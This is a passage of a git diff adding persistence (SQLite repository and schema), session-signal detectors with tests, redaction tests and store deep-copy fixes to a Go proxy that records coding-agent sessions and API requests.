+		t.Fatalf("redacted body is not valid JSON: %v\n%s", err, out)
+	}
+}
+
+func TestRedactorPEMBlock(t *testing.T) {
+	r := NewRedactor()
+	pem := "-----BEGIN RSA PRIVATE KEY-----\nMIIEoabc\nMORE\n-----END RSA PRIVATE KEY-----"
+	out, hits := r.RedactString("before " + pem + " after")
+	if hits != 1 {
+		t.Fatalf("expected 1 PEM redaction, got %d", hits)
+	}
+	if strings.Contains(out, "PRIVATE KEY") {
+		t.Fatalf("PEM not fully redacted: %q", out)
+	}
+}
+
+func TestRedactorNoFalsePositiveOnPlainText(t *testing.T) {
+	r := NewRedactor()
+	out, hits := r.RedactString("just a normal sentence with no secrets")
+	if hits != 0 {
+		t.Fatalf("unexpected redaction: %q", out)
+	}
+}
diff --git a/proxy/repository.go b/proxy/repository.go
new file mode 100644
index 0000000..10ee52d
--- /dev/null
+++ b/proxy/repository.go
@@ -0,0 +1,365 @@
+package main
+
+import (
+	"database/sql"
+	"encoding/json"
+	"fmt"
+	"sort"
+	"time"
+)
+
+// Repository is the durable persistence boundary. Phase 1 ships a SQLite implementation;
+// a Postgres implementation can be substituted later without touching call sites.
+type Repository interface {
+	UpsertSession(s *Session) error
+	GetSession(id string) (*Session, error)
+	ListSessions(limit int) ([]*Session, error)
+	AppendSessionEvent(e *SessionEvent) error
+	ListSessionEvents(sessionID string) ([]*SessionEvent, error)
+	SaveRequest(r *RequestRecord) error
+	RecentRequests(limit int) ([]*RequestRecord, error)
+	Timeline(sessionID string) ([]TimelineEvent, error)
+	Close() error
+}
+
+// NoopRepository is a Repository that persists nothing. It is used as a fallback when the
+// database cannot be opened, so the core reverse-proxy keeps working (persistence disabled).
+type NoopRepository struct{}
+
+// NewNoopRepository returns a persistence-disabled Repository.
+func NewNoopRepository() *NoopRepository { return &NoopRepository{} }
+
+func (NoopRepository) UpsertSession(*Session) error                      { return nil }
+func (NoopRepository) GetSession(string) (*Session, error)               { return nil, nil }
+func (NoopRepository) ListSessions(int) ([]*Session, error)              { return nil, nil }
+func (NoopRepository) AppendSessionEvent(*SessionEvent) error            { return nil }
+func (NoopRepository) ListSessionEvents(string) ([]*SessionEvent, error) { return nil, nil }
+func (NoopRepository) SaveRequest(*RequestRecord) error                  { return nil }
+func (NoopRepository) RecentRequests(int) ([]*RequestRecord, error)      { return nil, nil }
+func (NoopRepository) Timeline(string) ([]TimelineEvent, error)          { return nil, nil }
+func (NoopRepository) Close() error                                      { return nil }
+
+// SQLiteRepository implements Repository on top of modernc.org/sqlite.
+type SQLiteRepository struct {
+	db *sql.DB
+}
+
+// NewSQLiteRepository opens the database at path and returns a ready repository.
+func NewSQLiteRepository(path string) (*SQLiteRepository, error) {
+	db, err := openDB(path)
+	if err != nil {
+		return nil, err
+	}
+	return &SQLiteRepository{db: db}, nil
+}
+
+func (r *SQLiteRepository) Close() error { return r.db.Close() }
+
+// --- time helpers ---------------------------------------------------------
+
+func toMillis(t time.Time) int64 { return t.UnixNano() / int64(time.Millisecond) }
+
+func fromMillis(ms int64) time.Time { return time.UnixMilli(ms) }
+
+func nullMillis(t *time.Time) interface{} {
+	if t == nil {
+		return nil
+	}
+	return toMillis(*t)
+}
+
+// --- sessions -------------------------------------------------------------
+
+func (r *SQLiteRepository) UpsertSession(s *Session) error {
+	_, err := r.db.Exec(`
+INSERT INTO sessions (id, provider, cli, cwd, transcript_path, git_remote, git_branch, model,
+    package_manager, permission_mode, first_prompt, started_at, ended_at, last_activity_at,
+    input_tokens, output_tokens, request_count, status, outcome)
+VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
+ON CONFLICT(id) DO UPDATE SET
+    provider         = excluded.provider,
+    cli              = excluded.cli,
+    cwd              = excluded.cwd,
+    transcript_path  = excluded.transcript_path,
+    git_remote       = excluded.git_remote,
+    git_branch       = excluded.git_branch,
+    model            = excluded.model,
+    package_manager  = excluded.package_manager,
+    permission_mode  = excluded.permission_mode,
+    first_prompt     = excluded.first_prompt,
+    ended_at         = excluded.ended_at,
+    last_activity_at = excluded.last_activity_at,
+    input_tokens     = excluded.input_tokens,
+    output_tokens    = excluded.output_tokens,
+    request_count    = excluded.request_count,
+    status           = excluded.status,
+    outcome          = excluded.outcome`,
+		s.ID, string(s.Provider), s.CLI, s.CWD, s.TranscriptPath, s.GitRemote, s.GitBranch,
+		s.Model, s.PackageManager, s.PermissionMode, s.FirstPrompt, toMillis(s.StartedAt), nullMillis(s.EndedAt),
+		toMillis(s.LastActivityAt), s.InputTokens, s.OutputTokens, s.RequestCount, s.Status, s.Outcome,
+	)
+	if err != nil {
+		return fmt.Errorf("upsert session: %w", err)
+	}
+	return nil
+}
+
+const sessionColumns = `id, provider, cli, cwd, transcript_path, git_remote, git_branch, model,
+    package_manager, permission_mode, first_prompt, started_at, ended_at, last_activity_at,
+    input_tokens, output_tokens, request_count, status, outcome`
+
+func scanSession(scan func(dest ...interface{}) error) (*Session, error) {
+	var s Session
+	var provider string
+	var packageManager sql.NullString
+	var endedAt sql.NullInt64
+	var startedAt, lastActivity int64
+	err := scan(
+		&s.ID, &provider, &s.CLI, &s.CWD, &s.TranscriptPath, &s.GitRemote, &s.GitBranch,
+		&s.Model, &packageManager, &s.PermissionMode, &s.FirstPrompt, &startedAt, &endedAt, &lastActivity,
+		&s.InputTokens, &s.OutputTokens, &s.RequestCount, &s.Status, &s.Outcome,
+	)
+	if err != nil {
+		return nil, err
+	}
+	s.Provider = Provider(provider)
+	s.PackageManager = packageManager.String
+	s.StartedAt = fromMillis(startedAt)
+	s.LastActivityAt = fromMillis(lastActivity)
+	if endedAt.Valid {
+		t := fromMillis(endedAt.Int64)
+		s.EndedAt = &t
+	}
+	return &s, nil
+}
+
+func (r *SQLiteRepository) GetSession(id string) (*Session, error) {
+	row := r.db.QueryRow(`SELECT `+sessionColumns+` FROM sessions WHERE id = ?`, id)
+	s, err := scanSession(row.Scan)
+	if err == sql.ErrNoRows {
+		return nil, nil
+	}
+	if err != nil {
+		return nil, fmt.Errorf("get session: %w", err)
+	}
+	return s, nil
+}
+
+func (r *SQLiteRepository) ListSessions(limit int) ([]*Session, error) {
+	if limit <= 0 {
+		limit = 200
+	}
+	rows, err := r.db.Query(`SELECT `+sessionColumns+` FROM sessions ORDER BY started_at DESC LIMIT ?`, limit)
+	if err != nil {
+		return nil, fmt.Errorf("list sessions: %w", err)
+	}
+	defer rows.Close()
+
+	var out []*Session
+	for rows.Next() {
+		s, err := scanSession(rows.Scan)
+		if err != nil {
+			return nil, err
+		}
+		out = append(out, s)
+	}
+	return out, rows.Err()
+}
+
+// --- session events -------------------------------------------------------
+
+func (r *SQLiteRepository) AppendSessionEvent(e *SessionEvent) error {
+	var payload interface{}
+	if len(e.Payload) > 0 {
+		payload = string(e.Payload)
+	}
+	var exit interface{}
+	if e.ExitCode != nil {
+		exit = *e.ExitCode
+	}
+	var success interface{}
+	if e.Success != nil {
+		if *e.Success {
+			success = 1
+		} else {
+			success = 0
+		}
+	}
+	_, err := r.db.Exec(`
+INSERT INTO session_events (id, session_id, seq, type, hook_event, tool_name, tool_use_id, prompt_id,
+    file_path, summary, command, command_category, package_manager, exit_code, success, payload, ts)
+VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
+		e.ID, e.SessionID, e.Seq, e.Type, e.HookEvent, e.ToolName, e.ToolUseID, e.PromptID,
+		e.FilePath, e.Summary, e.Command, e.CommandCategory, e.PackageManager, exit, success, payload, toMillis(e.Timestamp),
+	)
+	if err != nil {
+		return fmt.Errorf("append session event: %w", err)
+	}
+	return nil
+}
+
+func (r *SQLiteRepository) ListSessionEvents(sessionID string) ([]*SessionEvent, error) {
+	rows, err := r.db.Query(`
+SELECT id, session_id, seq, type, hook_event, tool_name, tool_use_id, prompt_id, file_path, summary,
+    command, command_category, package_manager, exit_code, success, payload, ts
+FROM session_events WHERE session_id = ? ORDER BY seq ASC`, sessionID)
+	if err != nil {
+		return nil, fmt.Errorf("list session events: %w", err)
+	}
+	defer rows.Close()
+
+	var out []*SessionEvent
+	for rows.Next() {
+		var e SessionEvent
+		var toolUseID, promptID, command, commandCategory, packageManager, payload sql.NullString
+		var exitCode, success sql.NullInt64
+		var ts int64
+		if err := rows.Scan(&e.ID, &e.SessionID, &e.Seq, &e.Type, &e.HookEvent, &e.ToolName,
+			&toolUseID, &promptID, &e.FilePath, &e.Summary, &command, &commandCategory, &packageManager,
+			&exitCode, &success, &payload, &ts); err != nil {
+			return nil, err
+		}
+		e.ToolUseID = toolUseID.String
+		e.PromptID = promptID.String
+		e.Command = command.String
+		e.CommandCategory = commandCategory.String
+		e.PackageManager = packageManager.String
+		if exitCode.Valid {
+			v := int(exitCode.Int64)
+			e.ExitCode = &v
+		}
+		if success.Valid {
+			v := success.Int64 != 0
+			e.Success = &v
+		}
+		if payload.Valid {
+			e.Payload = json.RawMessage(payload.String)
+		}
+		e.Timestamp = fromMillis(ts)
+		out = append(out, &e)
+	}
+	return out, rows.Err()
+}
+
+// --- api requests ---------------------------------------------------------
+
+func (r *SQLiteRepository) SaveRequest(rec *RequestRecord) error {
+	blob, err := json.Marshal(rec)
+	if err != nil {
+		return fmt.Errorf("marshal request: %w", err)
+	}
+	var completedAt interface{}
+	var durationMS int64
+	if rec.IsComplete {
+		durationMS = rec.Duration.Milliseconds()
+		completedAt = toMillis(rec.Timestamp.Add(rec.Duration))
+	}
+	var sessionID interface{}
+	if rec.SessionID != "" {
+		sessionID = rec.SessionID
+	}
+	_, err = r.db.Exec(`
+INSERT INTO api_requests (id, session_id, provider, method, path, model, status,
+    input_tokens, output_tokens, duration_ms, redaction_hits, record, started_at, completed_at)
+VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
+ON CONFLICT(id) DO UPDATE SET
+    session_id     = excluded.session_id,
+    status         = excluded.status,
+    model          = excluded.model,
+    input_tokens   = excluded.input_tokens,
+    output_tokens  = excluded.output_tokens,
+    duration_ms    = excluded.duration_ms,
+    redaction_hits = excluded.redaction_hits,
+    record         = excluded.record,
+    completed_at   = excluded.completed_at`,
+		rec.ID, sessionID, string(rec.Provider), rec.Method, rec.Path, rec.Model, rec.Status,
+		rec.InputTokens, rec.OutputTokens, durationMS, rec.RedactionHits, string(blob),
+		toMillis(rec.Timestamp), completedAt,
+	)
+	if err != nil {
+		return fmt.Errorf("save request: %w", err)
+	}
+	return nil
+}
+
+func (r *SQLiteRepository) RecentRequests(limit int) ([]*RequestRecord, error) {
+	if limit <= 0 {
+		limit = 200
+	}
+	rows, err := r.db.Query(`SELECT record FROM api_requests ORDER BY started_at DESC LIMIT ?`, limit)
+	if err != nil {
+		return nil, fmt.Errorf("recent requests: %w", err)
+	}
+	defer rows.Close()
+
+	var out []*RequestRecord
+	for rows.Next() {
+		var blob string
+		if err := rows.Scan(&blob); err != nil {
+			return nil, err
+		}
+		var rec RequestRecord
+		if err := json.Unmarshal([]byte(blob), &rec); err != nil {
+			continue // skip corrupt rows rather than failing the whole load
+		}
+		out = append(out, &rec)
+	}
+	return out, rows.Err()
+}
+
+// --- timeline -------------------------------------------------------------
+
+// Timeline merges hook-derived session events and correlated API requests into a single
+// chronologically ordered list for a session.
+func (r *SQLiteRepository) Timeline(sessionID string) ([]TimelineEvent, error) {
+	events, err := r.ListSessionEvents(sessionID)
+	if err != nil {
+		return nil, err
+	}
+
+	out := make([]TimelineEvent, 0, len(events))
+	for _, e := range events {
+		out = append(out, TimelineEvent{
+			Type:            e.Type,
+			Timestamp:       e.Timestamp,
+			Summary:         e.Summary,
+			ToolName:        e.ToolName,
+			ToolUseID:       e.ToolUseID,
+			PromptID:        e.PromptID,
+			FilePath:        e.FilePath,
+			Command:         e.Command,
+			CommandCategory: e.CommandCategory,
+			PackageManager:  e.PackageManager,
+			ExitCode:        e.ExitCode,
+			Success:         e.Success,
+		})
+	}
+
+	rows, err := r.db.Query(`
+SELECT id, model, started_at FROM api_requests
+WHERE session_id = ? ORDER BY started_at ASC`, sessionID)
+	if err != nil {
+		return nil, fmt.Errorf("timeline requests: %w", err)
+	}
+	defer rows.Close()
+	for rows.Next() {
+		var id, model string
+		var startedAt int64
+		if err := rows.Scan(&id, &model, &startedAt); err != nil {
+			return nil, err
+		}
+		out = append(out, TimelineEvent{
+			Type:      "api.request",
+			Timestamp: fromMillis(startedAt),
+			Summary:   model,
+			Model:     model,
+			RequestID: id,
+		})
+	}
+	if err := rows.Err(); err != nil {
+		return nil, err
+	}
+
+	sort.SliceStable(out, func(i, j int) bool { return out[i].Timestamp.Before(out[j].Timestamp) })
+	return out, nil
+}
diff --git a/proxy/schema.sql b/proxy/schema.sql
new file mode 100644
index 0000000..1407fef
--- /dev/null
+++ b/proxy/schema.sql
@@ -0,0 +1,68 @@
+-- Claude Code Proxy — Flight Recorder schema (SQLite).
+-- All timestamps are stored as INTEGER unix-milliseconds.
+
+CREATE TABLE IF NOT EXISTS sessions (
+    id               TEXT PRIMARY KEY,
+    provider         TEXT,
+    cli              TEXT,
+    cwd              TEXT,
+    transcript_path  TEXT,
+    git_remote       TEXT,
+    git_branch       TEXT,
+    model            TEXT,
+    package_manager  TEXT,
+    permission_mode  TEXT,
+    first_prompt     TEXT,
+    started_at       INTEGER NOT NULL,
+    ended_at         INTEGER,
+    last_activity_at INTEGER NOT NULL,
+    input_tokens     INTEGER NOT NULL DEFAULT 0,
+    output_tokens    INTEGER NOT NULL DEFAULT 0,
+    request_count    INTEGER NOT NULL DEFAULT 0,
+    status           TEXT NOT NULL DEFAULT 'active',
+    outcome          TEXT
+);
+
+CREATE INDEX IF NOT EXISTS idx_sessions_started ON sessions(started_at DESC);
+
+CREATE TABLE IF NOT EXISTS session_events (
+    id          TEXT PRIMARY KEY,
+    session_id  TEXT,
+    seq         INTEGER NOT NULL,
+    type        TEXT NOT NULL,
+    hook_event  TEXT,
+    tool_name   TEXT,
+    tool_use_id TEXT,
+    prompt_id   TEXT,
+    file_path   TEXT,
+    summary     TEXT,
+    command          TEXT,
+    command_category TEXT,
+    package_manager  TEXT,
+    exit_code        INTEGER,
+    success          INTEGER,
+    payload     TEXT,
+    ts          INTEGER NOT NULL
+);
+
+CREATE INDEX IF NOT EXISTS idx_session_events_session ON session_events(session_id, seq);
+
+CREATE TABLE IF NOT EXISTS api_requests (
+    id             TEXT PRIMARY KEY,
+    session_id     TEXT,
+    provider       TEXT,
+    method         TEXT,
+    path           TEXT,
+    model          TEXT,
+    status         INTEGER,
+    input_tokens   INTEGER NOT NULL DEFAULT 0,
+    output_tokens  INTEGER NOT NULL DEFAULT 0,
+    duration_ms    INTEGER NOT NULL DEFAULT 0,
+    redaction_hits INTEGER NOT NULL DEFAULT 0,
+    record         TEXT NOT NULL,
+    started_at     INTEGER NOT NULL,
+    completed_at   INTEGER
+);
+
+CREATE INDEX IF NOT EXISTS idx_api_requests_session ON api_requests(session_id, started_at);
+CREATE INDEX IF NOT EXISTS idx_api_requests_started ON api_requests(started_at DESC);
diff --git a/proxy/signals.go b/proxy/signals.go
new file mode 100644
index 0000000..d1fbadb
--- /dev/null
+++ b/proxy/signals.go
@@ -0,0 +1,269 @@
+package main
+
+import (
+	"fmt"
+	"regexp"
+	"strings"
+)
+
+// Signal is an observed issue or opportunity detected on a single session. Detectors are
+// deterministic and evidence-linked; they are the raw material for later skill/rule/hook
+// suggestions (Phase 5), hence SuggestedFixType.
+type Signal struct {
+	Type             string   `json:"type"`
+	Severity         string   `json:"severity"` // low|medium|high
+	SessionID        string   `json:"sessionId"`
+	Summary          string   `json:"summary"`
+	SuggestedFixType string   `json:"suggestedFixType"` // rule|skill|hook|claude_md|doc
+	Count            int      `json:"count,omitempty"`
+	Evidence         []string `json:"evidence,omitempty"`
+}
+
+// SignalGroup aggregates one signal type across many sessions for the "top issues" view.
+type SignalGroup struct {
+	Type             string   `json:"type"`
+	Severity         string   `json:"severity"`
+	Count            int      `json:"count"`    // number of sessions exhibiting this signal
+	Sessions         []string `json:"sessions"` // example session ids
+	Summary          string   `json:"summary"`
+	SuggestedFixType string   `json:"suggestedFixType"`
+}
+
+const tokenBloatThreshold = 150_000
+
+var generatedFileRe = regexp.MustCompile(`(?i)(/generated/|__generated__|\.generated\.|\.gen\.(ts|tsx|js|jsx|go|py)$|_pb2\.py$|\.pb\.go$|\.g\.dart$|(package-lock\.json|pnpm-lock\.yaml|yarn\.lock)$)`)
+
+var correctionPhrases = []string{
+	"no, we use", "we don't use", "we do not use", "you forgot", "stop doing",
+	"that's wrong", "thats wrong", "actually this repo", "actually we use",
+	"don't use", "do not use", "wrong approach", "that's not how",
+}
+
+func isWriteTool(name string) bool {
+	switch name {
+	case "Edit", "Write", "MultiEdit", "NotebookEdit", "Update", "Create":
+		return true
+	}
+	return false
+}
+
+// DetectSignals runs all deterministic detectors over one session's events.
+func DetectSignals(sess *Session, events []*SessionEvent) []Signal {
+	var out []Signal
+	for _, d := range []func(*Session, []*SessionEvent) *Signal{
+		detectRepeatedFailedCommand,
+		detectPackageManagerMismatch,
+		detectEditedGeneratedFile,
+		detectHumanCorrection,
+		detectTokenBloat,
+	} {
+		if s := d(sess, events); s != nil {
+			s.SessionID = sess.ID
+			out = append(out, *s)
+		}
+	}
+	return out
+}
+
+func detectRepeatedFailedCommand(sess *Session, events []*SessionEvent) *Signal {
+	counts := map[string]int{}
+	for _, e := range events {
+		if e.Type == "tool.failure" && e.Command != "" {
+			counts[normalizeText(e.Command)]++
+		}
+	}
+	worst, n := "", 0
+	for cmd, c := range counts {
+		if c > n {
+			worst, n = cmd, c
+		}
+	}
+	if n < 2 {
+		return nil
+	}
+	return &Signal{
+		Type:             "repeated_failed_command",
+		Severity:         "medium",
+		Count:            n,
+		Summary:          fmt.Sprintf("A command failed %d times: %s", n, truncate(worst, 80)),
+		SuggestedFixType: "rule",
+		Evidence:         []string{fmt.Sprintf("%s (%d failures)", truncate(worst, 120), n)},
+	}
+}
+
+func detectPackageManagerMismatch(sess *Session, events []*SessionEvent) *Signal {
+	if sess.PackageManager == "" {
+		return nil
+	}
+	var offenders []string
+	seen := map[string]bool{}
+	for _, e := range events {
+		if e.PackageManager != "" && e.PackageManager != sess.PackageManager {
+			key := e.PackageManager + ":" + e.Command
+			if !seen[key] {
+				seen[key] = true
+				offenders = append(offenders, truncate(e.Command, 80))
+			}
+		}
+	}
+	if len(offenders) == 0 {
+		return nil
+	}
+	return &Signal{
+		Type:     "package_manager_mismatch",
+		Severity: "high",
+		Count:    len(offenders),
+		Summary: fmt.Sprintf("Used a different package manager than the repo's (%s) %d time(s)",
+			sess.PackageManager, len(offenders)),
+		SuggestedFixType: "claude_md",
+		Evidence:         offenders,
+	}
+}
+
+func detectEditedGeneratedFile(sess *Session, events []*SessionEvent) *Signal {
+	var files []string
+	seen := map[string]bool{}
+	for _, e := range events {
+		if e.FilePath == "" || !generatedFileRe.MatchString(e.FilePath) {
+			continue
+		}
+		// Only writes matter; reading a generated file is fine.
+		if e.ToolName != "" && !isWriteTool(e.ToolName) {
+			continue
+		}
+		if !seen[e.FilePath] {
+			seen[e.FilePath] = true
+			files = append(files, e.FilePath)
+		}
+	}
+	if len(files) == 0 {
+		return nil
+	}
+	return &Signal{
+		Type:             "edited_generated_file",
+		Severity:         "medium",
+		Count:            len(files),
+		Summary:          fmt.Sprintf("Edited %d generated file(s)", len(files)),
+		SuggestedFixType: "hook",
+		Evidence:         files,
+	}
+}
+
+func detectHumanCorrection(sess *Session, events []*SessionEvent) *Signal {
+	var hits []string
+	for _, e := range events {
+		if e.Type != "prompt.submit" {
+			continue
+		}
+		lower := strings.ToLower(e.Summary)
+		for _, p := range correctionPhrases {
+			if strings.Contains(lower, p) {
+				hits = append(hits, truncate(e.Summary, 120))
+				break
+			}
+		}
+	}
+	if len(hits) == 0 {
+		return nil
+	}
+	return &Signal{
+		Type:             "human_correction",
+		Severity:         "medium",
+		Count:            len(hits),
+		Summary:          fmt.Sprintf("User corrected the agent %d time(s)", len(hits)),
+		SuggestedFixType: "rule",
+		Evidence:         hits,
+	}
+}
+
+func detectTokenBloat(sess *Session, events []*SessionEvent) *Signal {
+	total := sess.InputTokens + sess.OutputTokens
+	if total < tokenBloatThreshold {
+		return nil
+	}
+	distinct := map[string]bool{}
+	for _, e := range events {
+		if e.FilePath != "" && isWriteTool(e.ToolName) {
+			distinct[e.FilePath] = true
+		}
+	}
+	if len(distinct) > 2 {
+		return nil
+	}
+	return &Signal{
+		Type:     "token_bloat",
+		Severity: "low",
+		// Count is an occurrence count across detectors; the token total lives in the
+		// summary/evidence, not Count.
+		Summary: fmt.Sprintf("%s tokens spent while editing %d file(s)",
+			humanizeInt(total), len(distinct)),
+		SuggestedFixType: "skill",
+		Evidence:         []string{fmt.Sprintf("%d tokens, %d files edited", total, len(distinct))},
+	}
+}
+
+// AggregateSignals groups per-session signals by type for the top-issues view.
+func AggregateSignals(all []Signal, maxExamples int) []SignalGroup {
+	groups := map[string]*SignalGroup{}
+	var order []string
+	for _, s := range all {
+		g, ok := groups[s.Type]
+		if !ok {
+			g = &SignalGroup{
+				Type:             s.Type,
+				Severity:         s.Severity,
+				Summary:          s.Summary,
+				SuggestedFixType: s.SuggestedFixType,
+			}
+			groups[s.Type] = g
+			order = append(order, s.Type)
+		}
+		g.Count++
+		if len(g.Sessions) < maxExamples {
+			g.Sessions = append(g.Sessions, s.SessionID)
+		}
+		if severityRank(s.Severity) < severityRank(g.Severity) {
+			g.Severity = s.Severity
+		}
+	}
+	out := make([]SignalGroup, 0, len(order))
+	for _, t := range order {
+		out = append(out, *groups[t])
+	}
+	// Sort by severity then count, both descending in importance.
+	sortSignalGroups(out)
+	return out
+}
+
+func severityRank(s string) int {
+	switch s {
+	case "high":
+		return 0
+	case "medium":
+		return 1
+	case "low":
+		return 2
+	}
+	return 3
+}
+
+func sortSignalGroups(g []SignalGroup) {
+	for i := 1; i < len(g); i++ {
+		for j := i; j > 0; j-- {
+			a, b := g[j-1], g[j]
+			less := severityRank(b.Severity) < severityRank(a.Severity) ||
+				(severityRank(b.Severity) == severityRank(a.Severity) && b.Count > a.Count)
+			if !less {
+				break
+			}
+			g[j-1], g[j] = g[j], g[j-1]
+		}
+	}
+}
+
+func humanizeInt(n int) string {
+	if n < 1000 {
+		return fmt.Sprintf("%d", n)
+	}
+	return fmt.Sprintf("%.0fk", float64(n)/1000)
+}
diff --git a/proxy/signals_test.go b/proxy/signals_test.go
new file mode 100644
index 0000000..95affaf
--- /dev/null
+++ b/proxy/signals_test.go
@@ -0,0 +1,126 @@
+package main
+
+import "testing"
+
+func boolPtr(b bool) *bool { return &b }
+
+func hasSignal(sigs []Signal, typ string) *Signal {
+	for i := range sigs {
+		if sigs[i].Type == typ {
+			return &sigs[i]
+		}
+	}
+	return nil
+}
+
+func TestDetectRepeatedFailedCommand(t *testing.T) {
+	sess := &Session{ID: "s"}
+	events := []*SessionEvent{
+		{Type: "tool.failure", Command: "npm test", Success: boolPtr(false)},
+		{Type: "tool.failure", Command: "npm test", Success: boolPtr(false)},
+		{Type: "tool.result", Command: "ls", Success: boolPtr(true)},
+	}
+	sig := hasSignal(DetectSignals(sess, events), "repeated_failed_command")
+	if sig == nil {
+		t.Fatal("expected repeated_failed_command signal")
+	}
+	if sig.Count != 2 {
+		t.Errorf("count = %d want 2", sig.Count)
+	}
+}
+
+func TestDetectPackageManagerMismatch(t *testing.T) {
+	sess := &Session{ID: "s", PackageManager: "pnpm"}
+	events := []*SessionEvent{
+		{Type: "tool.call", Command: "npm install", CommandCategory: "package_manager", PackageManager: "npm"},
+		{Type: "tool.call", Command: "pnpm test", CommandCategory: "test", PackageManager: "pnpm"},
+	}
+	sig := hasSignal(DetectSignals(sess, events), "package_manager_mismatch")
+	if sig == nil {
+		t.Fatal("expected package_manager_mismatch signal")
+	}
+	if sig.Severity != "high" || sig.Count != 1 {
+		t.Errorf("got severity=%s count=%d", sig.Severity, sig.Count)
+	}
+}
+
+func TestNoPackageManagerMismatchWhenConsistent(t *testing.T) {
+	sess := &Session{ID: "s", PackageManager: "pnpm"}
+	events := []*SessionEvent{
+		{Type: "tool.call", Command: "pnpm install", CommandCategory: "package_manager", PackageManager: "pnpm"},
+	}
+	if hasSignal(DetectSignals(sess, events), "package_manager_mismatch") != nil {
+		t.Fatal("did not expect a mismatch signal")
+	}
+}
+
+func TestDetectEditedGeneratedFile(t *testing.T) {
+	sess := &Session{ID: "s"}
+	events := []*SessionEvent{
+		{Type: "tool.call", ToolName: "Edit", FilePath: "src/__generated__/schema.ts"},
+		{Type: "tool.call", ToolName: "Read", FilePath: "src/gen/other.gen.ts"}, // read, ignored
+	}
+	sig := hasSignal(DetectSignals(sess, events), "edited_generated_file")
+	if sig == nil {
+		t.Fatal("expected edited_generated_file signal")
+	}
+	if sig.Count != 1 {
+		t.Errorf("count = %d want 1 (read should be ignored)", sig.Count)
+	}
+}
+
+func TestDetectHumanCorrection(t *testing.T) {
+	sess := &Session{ID: "s"}
+	events := []*SessionEvent{
+		{Type: "prompt.submit", Summary: "No, we use pnpm in this repo, not npm"},
+		{Type: "prompt.submit", Summary: "add pagination"},
+	}
+	sig := hasSignal(DetectSignals(sess, events), "human_correction")
+	if sig == nil {
+		t.Fatal("expected human_correction signal")
+	}
+	if sig.Count != 1 {
+		t.Errorf("count = %d want 1", sig.Count)
+	}
+}
+
+func TestDetectTokenBloat(t *testing.T) {
+	sess := &Session{ID: "s", InputTokens: 180000, OutputTokens: 20000}
+	events := []*SessionEvent{
+		{Type: "tool.call", ToolName: "Edit", FilePath: "a.ts"},
+	}
+	sig := hasSignal(DetectSignals(sess, events), "token_bloat")
+	if sig == nil {
+		t.Fatal("expected token_bloat signal")
+	}
+	// Many files edited -> not bloat.
+	sess2 := &Session{ID: "s2", InputTokens: 180000, OutputTokens: 20000}
+	events2 := []*SessionEvent{
+		{Type: "tool.call", ToolName: "Edit", FilePath: "a.ts"},
+		{Type: "tool.call", ToolName: "Edit", FilePath: "b.ts"},
+		{Type: "tool.call", ToolName: "Edit", FilePath: "c.ts"},
+		{Type: "tool.call", ToolName: "Edit", FilePath: "d.ts"},
+	}
+	if hasSignal(DetectSignals(sess2, events2), "token_bloat") != nil {
+		t.Fatal("did not expect token_bloat when many files edited")
+	}
+}
+
+func TestAggregateSignals(t *testing.T) {
+	all := []Signal{
+		{Type: "package_manager_mismatch", Severity: "high", SessionID: "a"},
+		{Type: "package_manager_mismatch", Severity: "high", SessionID: "b"},
+		{Type: "human_correction", Severity: "medium", SessionID: "a"},
+	}
+	groups := AggregateSignals(all, 5)
+	if len(groups) != 2 {
+		t.Fatalf("expected 2 groups, got %d", len(groups))
+	}
+	// High severity should sort first.
+	if groups[0].Type != "package_manager_mismatch" || groups[0].Count != 2 {
+		t.Errorf("unexpected top group: %+v", groups[0])
+	}
+	if len(groups[0].Sessions) != 2 {
+		t.Errorf("expected 2 example sessions, got %d", len(groups[0].Sessions))
+	}
+}
diff --git a/proxy/store.go b/proxy/store.go
index fdd6601..00a8afa 100644
--- a/proxy/store.go
+++ b/proxy/store.go
@@ -2,6 +2,37 @@ package main
 
 import "sync"
 
+// cloneRecord returns a deep copy of a RequestRecord safe to hand to another goroutine.
+// Mutable fields (StreamEvents slice, header maps, body) are copied so a reader marshaling
+// the copy cannot race the stream-reader goroutine mutating the stored record.
+func cloneRecord(r *RequestRecord) *RequestRecord {
+	if r == nil {
+		return nil
+	}
+	cp := *r
+	if r.StreamEvents != nil {
+		cp.StreamEvents = make([]SSEEvent, len(r.StreamEvents))
+		copy(cp.StreamEvents, r.StreamEvents)
+	}
+	cp.Headers = cloneStrMap(r.Headers)
+	cp.ResponseHeaders = cloneStrMap(r.ResponseHeaders)
+	if r.Body != nil {
+		cp.Body = append([]byte(nil), r.Body...)
+	}
+	return &cp
+}
+
+func cloneStrMap(m map[string]string) map[string]string {
+	if m == nil {
+		return nil
+	}
+	out := make(map[string]string, len(m))
+	for k, v := range m {
+		out[k] = v
+	}
+	return out
+}
+
 // RequestStore provides thread-safe in-memory storage for requests
 type RequestStore struct {
 	mu       sync.RWMutex
@@ -62,15 +93,15 @@ func (s *RequestStore) GetAll() []*RequestRecord {
 
 	result := make([]*RequestRecord, len(s.order))
 	for i, id := range s.order {
-		result[len(s.order)-1-i] = s.requests[id]
+		result[len(s.order)-1-i] = cloneRecord(s.requests[id])
 	}
 	return result
 }
 
-// Get returns a single request record by ID
+// Get returns a deep copy of a single request record by ID, safe to hand to other goroutines.
 func (s *RequestStore) Get(id string) *RequestRecord {
 	s.mu.RLock()
 	defer s.mu.RUnlock()
 
-	return s.requests[id]
+	return cloneRecord(s.requests[id])
 }
diff --git a/proxy/types.go b/proxy/types.go
index 46ef435..6d3f5e4 100644
--- a/proxy/types.go
+++ b/proxy/types.go
@@ -1,6 +1,9 @@
 package main
 
-import "time"
+import (
+	"encoding/json"
+	"time"
+)
 
 // Provider represents an AI API provider
 type Provider string
@@ -13,6 +16,7 @@ const (
 // RequestRecord represents a captured API request/response
 type RequestRecord struct {
 	ID              string            `json:"id"`
+	SessionID       string            `json:"sessionId,omitempty"`
 	Timestamp       time.Time         `json:"timestamp"`
 	Method          string            `json:"method"`
 	Path            string            `json:"path"`
@@ -27,6 +31,7 @@ type RequestRecord struct {
 	InputTokens     int               `json:"inputTokens"`
 	OutputTokens    int               `json:"outputTokens"`
 	Provider        Provider          `json:"provider"`
+	RedactionHits   int               `json:"redactionHits,omitempty"`
 }
 
 // SSEEvent represents a parsed Server-Sent Event
@@ -35,12 +40,98 @@ type SSEEvent struct {
 	Data  string `json:"data"`
 }
 
+// Session represents a single coding-agent session, reconstructed primarily from
